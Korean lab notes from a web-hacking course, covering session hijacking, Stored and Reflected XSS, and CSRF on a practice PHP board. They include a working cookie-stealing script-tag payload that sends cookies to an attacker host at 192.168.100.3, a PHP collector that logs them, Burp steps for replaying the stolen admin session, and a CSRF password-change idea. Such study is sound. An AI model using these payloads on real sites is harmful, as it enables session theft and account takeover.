기존에 사용하던 쿠키 에디터는 URL 기준으로 필터링하는 듯 해서 새로 다른 프로그램설치
https://chromewebstore.google.com/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm
쿠키 보기, 쿠키 수정, 쿠키 삭제, 쿠키 추가, 쿠키 내보내기, 가져오기 가능
실습
관리자 세션 : sess_tau3trh94cpb0f9ni8m0u75e5g
공격자 세션 : sess_jm2uvf34tprkfir7nctrc3s3fg
공격자의 세션 파일을 관리자 세션으로 변경하고
mv sess_jm2uvf34tprkfir7nctrc3s3fg sess_tau3trh94cpb0f9ni8m0u75e5g
브라우저에서 공격자 쿠키를 관리자 쿠키로 변경
tau3trh94cpb0f9ni8m0u75e5g -> jm2uvf34tprkfir7nctrc3s3fg
반대로
관리자의 세션 파일을 공격자 세션으로 변경하고
mv sess_tau3trh94cpb0f9ni8m0u75e5g sess_jm2uvf34tprkfir7nctrc3s3fg
브라우저에서 관리자 쿠키를 공격자 쿠키로 변경
jm2uvf34tprkfir7nctrc3s3fg -> tau3trh94cpb0f9ni8m0u75e5g
=> 로그아웃되지 않고 서로 그대로 세션이 유지된다.
이 때, 공격자의 브라우저에서 쿠키만 관리자 쿠키로 변경하면
=> 새로고침하자, blackhat -> admin으로 변경되었다. 세션탈취 확인.
실습용 페이지 logout.html 내용
세션 파일 생성, 삭제.
문제점
=> 관리자가 로그인 중이라면 세션을 탈취할 수 있다. 또한, 세션 ID를 재사용하고 있다.
session_start();
=> 기본적으로 새로운 세션이 아니라, 기존에 만들었던 세션ID를 생성한다.
수정한 소스
# ls /var/lib/php/session
sess_boe95493le69vms01g39us9f87 sess_jm2uvf34tprkfir7nctrc3s3fg
=> 로그아웃하자, tau3trh94cpb0f9ni8m0u75e5g는 삭제되고 새 쿠키가 생성되어있다
기존에 로그인되어 있던 공격자의 admin 계정을 새로고침하자, 로그아웃되는 것 확인
Stored XSS 실습하기
칼리에서 침투 테스트
PS1="[\u@\h \W]\\$ "
systemctl restart apache2
cd /var/www/html
vi xssAttack.php
내용
$file = "파일명.txt";
$fp = fopen($file, "a"); 파일을 추가모드로 오픈하고
fputs($fp, $_GET['u'] . " ");
fputs($fp, $_GET['c'] . "\n");
URL('u')과 Cookie('c')값을 저장
fclose($fp);
클로즈
install -o www-data /dev/null xssAttack.txt
chown www-data: xssAttack.txt
tail -f xssAttack.txt
파일을 모니터링해놓는다
게시글 내용
<script>var c1=document.cookie;var u1=location.href;var url="http://192.168.100.3/xssAttack.php?c="+c1+"&u="+u1;open(url, "", "width=0,height=0;");</script>
사용자가 게시글을 읽는 순간 칼리 리눅스(공격자)쪽으로 쿠키정보와 URL이 전송되었다
=> 기본적으로 창이 하나 더 오픈되면서 url에 Cookie내용, 즉 PHPSESSID가 노출된다.
Burp에서 Cookie 조작하기
Burp에서 설정한 후에 잡아보면 세션 ID가 관리자 것으로 변경한 상태로 전송되는 것을 볼 수 있다
테스트
조건 : 관리자와 공격자 둘 다 로그인상태
1. 관리자가 악성코드가 심어진 게시글을 확인한다.
2. 칼리 리눅스에서 관리자의 세션아이디를 확인한다.
3. Burp에서 관리자 세션아이디를 쿠키에 셋팅한다.
4. 공격자로 새로고침하면, 페이지의 계정이 admin 으로 변경된다.
Reflected XSS
조건
1. 공격자가 쓴 코드가 다시 되돌아 올 것
2. 공격자가 쓴 코드를 GET 방식으로 서버로 전달 가능해야 할 것
3. 스크립트가 실행되어야 할 것
id 중복 체크 화면에서 burp로 테스트
=> xss 입력했더니, 입력값이 그대로 Response에 출력됨
스크립트까지 그대로 출력되는 것을 확인할 수 있다.
실제 브라우저 창에서도 스크립트가 실행되어 네이버 홈페이지로 이동되었다.
CSRF(씨써프)
사이트간 요청 위조 ( 또는 크로스 사이트 요청 위조, 영어: Cross-site request forgery, CSRF, XSRF )
사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 웹사이트에 요청하게 하는 공격기법
POST /membereditok.html HTTP/1.1
중략
tb=member&no=3&username=%EB%B8%94%EB%9E%99%ED%96%87&userpw=1234&useremail=test%40naver.com
=> 사용자정보 수정시에 넘어가는 데이터들
게시글에 form태그를 넣어서 sumbit 하면, 관리자가 해당 게시글을 조회했을때 비밀번호가 수정된다.